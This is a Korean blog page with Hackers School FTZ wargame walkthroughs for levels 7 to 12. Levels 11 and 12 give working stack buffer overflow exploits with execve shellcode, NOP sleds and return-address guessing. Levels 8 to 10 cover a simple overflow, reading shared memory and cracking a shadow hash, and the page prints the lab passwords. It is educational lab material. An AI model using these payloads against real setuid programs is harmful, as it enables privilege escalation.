반응형
반응형
반응형


해커스쿨 FTZ [LEVEL12] 풀이


M4ndU




해커스쿨 FTZ [LEVEL12] 풀이입니다.


ID | level12

PW | it is like this


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level12

level12@192.168.31.128's password:

[level12@ftz level12]$ ls -l

total 28

-rwsr-x---    1 level13  level12     13771 Mar  8  2003 attackme

-rw-r-----    1 root     level12       204 Mar  8  2003 hint

drwxr-xr-x    2 root     level12      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level12      4096 Jan 15  2009 tmp

[level12@ftz level12]$ cat hint



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

        char str[256];


        setreuid( 3093, 3093 );

        printf( "문장을 입력하세요.\n" );

        gets( str );

        printf( "%s\n", str );

}


이번 문제도 level11과 같아보지만, main 함수의 인자가 아닌, gets 함수를 통해 입력값을 받는다는 것이 다른 것을 확인할 수 있습니다.


먼저 gdb로 분석을 합니다.


[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc15
0x08048481 <main+17>:   push   0xc15
0x08048486 <main+22>:   call   0x804835c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0xc
0x08048491 <main+33>:   push   0x8048538
0x08048496 <main+38>:   call   0x804834c <printf>
0x0804849b <main+43>:   add    esp,0x10
0x0804849e <main+46>:   sub    esp,0xc
0x080484a1 <main+49>:   lea    eax,[ebp-264]
0x080484a7 <main+55>:   push   eax
0x080484a8 <main+56>:   call   0x804831c <gets>
0x080484ad <main+61>:   add    esp,0x10
0x080484b0 <main+64>:   sub    esp,0x8
0x080484b3 <main+67>:   lea    eax,[ebp-264]
0x080484b9 <main+73>:   push   eax
0x080484ba <main+74>:   push   0x804854c
0x080484bf <main+79>:   call   0x804834c <printf>
0x080484c4 <main+84>:   add    esp,0x10
0x080484c7 <main+87>:   leave
0x080484c8 <main+88>:   ret
0x080484c9 <main+89>:   lea    esi,[esi]
0x080484cc <main+92>:   nop
0x080484cd <main+93>:   nop
0x080484ce <main+94>:   nop
0x080484cf <main+95>:   nop
---Type <return> to continue, or q <return> to quit---
End of assembler dump.


*main+59 를 보면 ebp-264부터 입력을 받네요. level11과 스택구조가 동일한 것 같습니다.

낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



이번에 풀때는 깔끔하게 환경변수를 이용해 풀어보겠습니다.


tmp폴더로 이동합니다.

그리고 다음 명령어를 순서대로 입력하여 실행합니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


$gcc getenv.c -o getenv


$./getenv


[level12@ftz level12]$ cd tmp

[level12@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level12@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level12@ftz tmp]$ gcc getenv.c -o getenv

[level12@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d


0xbffffc8d를 리턴주소로 잡고 bof를 하면 됩니다.
이때 이 프로그램은 입력을 gets함수를 통해 받으므로 다른 형태로 프로그램을 실행해야 합니다.

(python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme

이렇게요.


[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
문장을 입력하세요.
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱랛?

my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

깔끔하죠? 레벨 떡상 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL11] 풀이


M4ndU




해커스쿨 FTZ [LEVEL11] 풀이입니다.


ID | level11

PW | what!@#$?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level11

level11@192.168.31.128's password:

[level11@ftz level11]$ ls -l

total 28

-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme

-rw-r-----    1 root     level11       168 Mar  8  2003 hint

drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level11      4096 Jan 14  2009 tmp

[level11@ftz level11]$ cat hint


#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

        char str[256];


        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}


이번에는 attackme라는 파일이 추가되었네요.


일단 hint를 확인해 봅시다.

attackme의 소스코드인 것 같습니다.


str의 크기는 256바이트인데 입력값의 크기를 제한하지 않네요.

이것을 보고 버퍼오버플로우 문제인 것을 알 수 있습니다.


그럼 이제 gdb를 통해 str과 RET의 거리를 알아봅시다.


[level11@ftz level11]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   ebp

0x08048471 <main+1>:    mov    ebp,esp

0x08048473 <main+3>:    sub    esp,0x108

0x08048479 <main+9>:    sub    esp,0x8

0x0804847c <main+12>:   push   0xc14

0x08048481 <main+17>:   push   0xc14

0x08048486 <main+22>:   call   0x804834c <setreuid>

0x0804848b <main+27>:   add    esp,0x10

0x0804848e <main+30>:   sub    esp,0x8

0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]

0x08048494 <main+36>:   add    eax,0x4

0x08048497 <main+39>:   push   DWORD PTR [eax]

0x08048499 <main+41>:   lea    eax,[ebp-264]

0x0804849f <main+47>:   push   eax

0x080484a0 <main+48>:   call   0x804835c <strcpy>

0x080484a5 <main+53>:   add    esp,0x10

0x080484a8 <main+56>:   sub    esp,0xc

0x080484ab <main+59>:   lea    eax,[ebp-264]

0x080484b1 <main+65>:   push   eax

0x080484b2 <main+66>:   call   0x804833c <printf>

0x080484b7 <main+71>:   add    esp,0x10

0x080484ba <main+74>:   leave

---Type <return> to continue, or q <return> to quit---

0x080484bb <main+75>:   ret

0x080484bc <main+76>:   nop

0x080484bd <main+77>:   nop

0x080484be <main+78>:   nop

0x080484bf <main+79>:   nop

End of assembler dump.



*main+41 과 *main+48 부분을 보면 ebp-264부터 입력값을 받는 것을 알 수 있네요. 

str에 256바이트가 할당되었으므로 8바이트가 dummy (쓰레기값)으로 존재하는 것을 알 수 있습니다.


현재 스택구조를 다음과 같이 나타낼 수 있습니다:


낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



우리는 25바이트 쉘코드를 사용하겠습니다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


그리고 쉘코드 앞에 NOP을 의미하는 \x90으로 채우겠습니다.


268(str[256]+dummy[8]+SFP[4]) - 25(shellcode) = 243

"\x90"*243



이제 리턴주소를 구하기 위해 ebp-264의 주소를 알아보겠습니다.

ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53 에 break point를 걸고


(gdb) b *main+53

Breakpoint 1 at 0x80484a5


argv[1]의 값으로 위에서 만든 코드 + 리턴주소를 입력하겠습니다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`


(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Couldn't get registers: Operation not permitted.

오류가 나네요...

파일을 tmp폴더로 복사해서 진행해야겠네요.


(gdb) q
The program is running.  Exit anyway? (y or n) y

[1]+  Stopped                 gdb -q attackme
[level11@ftz level11]$ cp attackme tmp/
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ gdb -q attackme
(gdb) b *main+53
Breakpoint 1 at 0x80484a5
(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/tmp/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

Breakpoint 1, 0x080484a5 in main ()


스택을 확인해 봅시다.

(gdb) x/100 $esp

0xbffff430:     0xbffff440        0xbffffb23         0xbffff460        0x00000001

0xbffff440:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff450:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff460:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff470:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff480:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff490:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4a0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4b0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff530:     0x31909090      0x2f6850c0      0x6868732f        0x6e69622f



0xbffff440 부터 시작이 되네요. 리턴 주소로 0xbffff440으로 잡고 tmp/attackme 를 실행해보겠습니다.

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`

[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`
Segmentation fault

음.. 아무래도 노가다가 필요해 보이네요. 쉘이 뜰때까지 리턴주소를 바꿔주며 반복시도 해보겠습니다.

Segmentation fault
Segmentation fault
Segmentation fault

[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ exit
exit


0xbffffb40에서 성공했습니다!
이제 본래 문제 파일에서 시도하겠습니다.

[level11@ftz tmp]$ cd ..
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

가즈으으ㅡ으으으아ㅏ아아ㅏ



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL10] 풀이


M4ndU




해커스쿨 FTZ [LEVEL10] 풀이입니다.


ID | level10

PW | interesting to hack!


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level10

level10@192.168.31.128's password:

[level10@ftz level10]$ ls -l

total 16

-rw-r-----    1 root     level10       253 Jan 14  2010 hint

drwxr-x---    2 root     root         4096 Mar 29  2003 program

drwxr-xr-x    2 root     level10      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level10      4096 Jan 16  2009 tmp

[level10@ftz level10]$ cat hint



두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.

그 대화방은 공유 메모리를 이용하여 만들어졌으며,

key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여

level11의 권한을 얻어라.


- 레벨을 완료하셨다면 소스는 지우고 나가주세요.



공유 메모리에 관한 문제입니다.

공유 메모리에 대해 공부를 하고 옵시다!!! (구글링)



....

하고 오셨나여?




일단 공유 메모리와 관련된 명령어인 ipcs를 사용해봅시다.


[level10@ftz level10]$ ipcs


------ Shared Memory Segments --------

key        shmid      owner      perms      bytes      nattch     status

0x00001d6a 0          root      666        1028       0


------ Semaphore Arrays --------

key        semid      owner      perms      nsems


------ Message Queues --------

key        msqid      owner      perms      used-bytes   messages


key가 0x00001d6a = 7530 인 것이 있네요.


이제 tmp 폴더로 이동해서 코드를 작성합시다.


[level10@ftz level10]$ cd tmp

[level10@ftz tmp]$ vi level10.c

#include<stdio.h>

#include<sys/ipc.h>

#include<sys/shm.h>


int main(){

        int a;

        char* b;

        a = shmget(7530, 1028, IPC_CREAT|0666);

        b = shmat(a, NULL, 0);

        printf("%s", b);

}



컴파일후, 실행해 줍시다.


[level10@ftz tmp]$ gcc -o level10 level10.c

[level10@ftz tmp]$ ./level10

멍멍: level11의 패스워드는?

구타: what!@#$?


다음 레벨로~ 가즈아~





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL12] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL9] 풀이


M4ndU




해커스쿨 FTZ [LEVEL9] 풀이입니다.


ID | level9

PW | apple


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level9

level9@192.168.31.128's password:

[level9@ftz level9]$ ls -l

total 12

-rw-r--r--    1 root     root          391 Nov 13  2002 hint

drwxr-xr-x    2 root     level9       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level9       4096 Jan 16  2009 tmp

[level9@ftz level9]$ cat hint



다음은 /usr/bin/bof의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}


이를 이용하여 level10의 권한을 얻어라.



이 문제는 버퍼오버플로우 문제이네요.


buf의 크기는 10인데, 40만큼 입력을 받으면서 버퍼오버플로우 취약점이 생깁니다.


buf2가 먼저 선언되고  그다음 buf가 선언되었으므로 입력값이 buf를 넘어서면 buf2를 침범하게 되겠네요.

이렇게 해서 buf2의 값을 "go"로 바꿔주면 level10의 권한의 쉘을 띄워주는 것 같습니다.


그럼 정확한 buf와 buf2의 위치를 알아 보겠습니다.

힌트에 나온 소스를 복사하여 새롭게 컴파일을 하겠습니다.


[level9@ftz level9]$ cd tmp

[level9@ftz tmp]$ cat > bof.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(){


  char buf2[10];

  char buf[10];


  printf("It can be overflow : ");

  fgets(buf,40,stdin);


  if ( strncmp(buf2, "go", 2) == 0 )

   {

        printf("Good Skill!\n");

        setreuid( 3010, 3010 );

        system("/bin/bash");

   }


}

[level9@ftz tmp]$ gcc -o bof bof.c


이제 gdb를 사용해서 분석을 해봅시다.


[level9@ftz tmp]$ gdb -q bof

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048420 <main+0>:    push   ebp

0x08048421 <main+1>:    mov    ebp,esp

0x08048423 <main+3>:    sub    esp,0x28

0x08048426 <main+6>:    and    esp,0xfffffff0

0x08048429 <main+9>:    mov    eax,0x0

0x0804842e <main+14>:   sub    esp,eax

0x08048430 <main+16>:   sub    esp,0xc

0x08048433 <main+19>:   push   0x8048554

0x08048438 <main+24>:   call   0x8048350 <printf>

0x0804843d <main+29>:   add    esp,0x10

0x08048440 <main+32>:   sub    esp,0x4

0x08048443 <main+35>:   push   ds:0x8049698

0x08048449 <main+41>:   push   0x28

0x0804844b <main+43>:   lea    eax,[ebp-40]

0x0804844e <main+46>:   push   eax

0x0804844f <main+47>:   call   0x8048320 <fgets>

0x08048454 <main+52>:   add    esp,0x10

0x08048457 <main+55>:   sub    esp,0x4

0x0804845a <main+58>:   push   0x2

0x0804845c <main+60>:   push   0x804856a

0x08048461 <main+65>:   lea    eax,[ebp-24]

0x08048464 <main+68>:   push   eax

0x08048465 <main+69>:   call   0x8048330 <strncmp>

0x0804846a <main+74>:   add    esp,0x10

0x0804846d <main+77>:   test   eax,eax

0x0804846f <main+79>:   jne    0x80484a6 <main+134>

0x08048471 <main+81>:   sub    esp,0xc

0x08048474 <main+84>:   push   0x804856d

0x08048479 <main+89>:   call   0x8048350 <printf>

0x0804847e <main+94>:   add    esp,0x10

0x08048481 <main+97>:   sub    esp,0x8

---Type <return> to continue, or q <return> to quit---

0x08048484 <main+100>:  push   0xbc2

0x08048489 <main+105>:  push   0xbc2

0x0804848e <main+110>:  call   0x8048360 <setreuid>

0x08048493 <main+115>:  add    esp,0x10

0x08048496 <main+118>:  sub    esp,0xc

0x08048499 <main+121>:  push   0x804857a

0x0804849e <main+126>:  call   0x8048310 <system>

0x080484a3 <main+131>:  add    esp,0x10

0x080484a6 <main+134>:  leave

0x080484a7 <main+135>:  ret

End of assembler dump.



buf 의 시작점은 [ebp-40]

buf2 의 시작점은 [ebp-24] 이네요.

이 둘의 차이가 16이므로 16바이트를 채우면 그 다음 바이트는 buf2의 값이 됩니다.


확인해 보겠습니다.


[level9@ftz tmp]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!


Good Skill!이 출력되는 것으로 보아 buf2의 값이 go 가 되어 조건문이 성립되었다는 것을 알 수 있습니다.

이제 실제 문제를 풀어봅시다.


[level9@ftz tmp]$ cd /usr/bin

[level9@ftz bin]$ ./bof

[level9@ftz bin]$ ./bof

It can be overflow : aaaaaaaaaaaaaaaago

Good Skill!

[level10@ftz bin]$



성공입니다!


[level10@ftz bin]$ my-pass


Level10 Password is "interesting to hack!".



GAZUAAAAAAAAAAAAAAAAAAAAAAAAA!!




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL8] 풀이


M4ndU




해커스쿨 FTZ [LEVEL8] 풀이입니다.


ID | level8

PW | break the world


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level8

level8@192.168.31.128's password:

[level8@ftz level8]$ ls -l

total 12

-rw-r-----    1 root     level8        109 Jan 14  2010 hint

drwxr-xr-x    2 root     level8       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level8       4096 Jan 14  2009 tmp

[level8@ftz level8]$ cat hint



level9의 shadow 파일이 서버 어딘가에 숨어있다.

그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.


용량이 2700인 파일을 찾으면 될 것 같다.

find 명령어를 이용해 용량이 2700인 파일을 찾자.


[level8@ftz level8]$ find / -size 2700c 2>/dev/null

/var/www/manual/ssl/ssl_intro_fig2.gif

/etc/rc.d/found.txt

/usr/share/man/man3/IO::Pipe.3pm.gz

/usr/share/man/man3/URI::data.3pm.gz


음.. /etc/rc.d/found.txt 가 수상해보인다.

cat 명령어로 한번 보자.


[level8@ftz level8]$ cat /etc/rc.d/found.txt

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524



뭐가 엄청 나왔다...

일단 level9의 shadow파일인것은 확실하다.


shadow파일에 대해 알아보니 기본 구조가 다음과 같다고 한다:


사용자명:패스워드:패스워드 파일 최종 수정일:패스워드 변경 최소일:패스워드 변경 최대일:패스워드 만료 경고 기간:패스워드 파기 기간: 계정 만료 기간:예약 필드 


그렇다면, 패스워드 부분이 암호화가 되어 있다는 것을 알 수 있다.

이 것은 존 더 리퍼 라는 툴로 복호화가 가능하다고 한다.


위 파일 내용을 윈도우로 가져와서 윈도우용 존 더 리퍼 툴을 사용하여 복호화하면 된다.


apple


가즈아!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL7] 풀이


M4ndU




해커스쿨 FTZ [LEVEL7] 풀이입니다.


ID | level7

PW | come together


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level7

level7@192.168.31.128's password:

[level7@ftz level7]$ ls -l

total 12

-rw-r--r--    1 root     root          185 Nov 23  2000 hint

drwxr-xr-x    2 root     level7       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level7       4096 Jan  9  2009 tmp

[level7@ftz level7]$ cat hint



/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.



음... 힌트를 봐도 잘 모르겠습니다..

일단 /bin/level7 명령을 실행해 봅시다.


[level7@ftz level7]$ level7

Insert The Password : hi

cat: /bin/wrong.txt: No such file or directory


/bin/에 있기 때문에 이동하지 않고 바로 level7을 입력해서 사용할 수 있습니다.
비밀번호를 입력하라고 해서 아무 문자나 넣어 보았습니다.
그랬더니 /bin/wrong.txt 가 없다고 뜹니다!

이 오류는 개인이 FTZ 서버를 열어서 하는경우 생기는 것이라고 하네요...
직접 root계정으로 접속하셔서 wrong.txt 를 만들어주어야 한다고 합니다.


정상적인 작동을 한다면 이런 문자가 출력된다고 합니다 :


--_--_- --____- ---_-__ --__-_-


여기서 다시 힌트를 봅시다.


1. 패스워드는 가까운곳에..

2. 상상력을 총동원하라.

3. 2진수를 10진수를 바꿀 수 있는가?

4. 계산기 설정을 공학용으로 바꾸어라.


2진수를 10진수로 바꿀 수 있는가.

-를 1로, _를 0으로 본다면,


--_--_- > 1101101(2) > 109(10)

--____- > 1100001(2) > 97(10)

---_-__ > 1110100(2) > 116(10)

--__-_- > 1100101(2) > 101(10)


109, 97, 116, 101 무엇을 의미하는 것일까요?

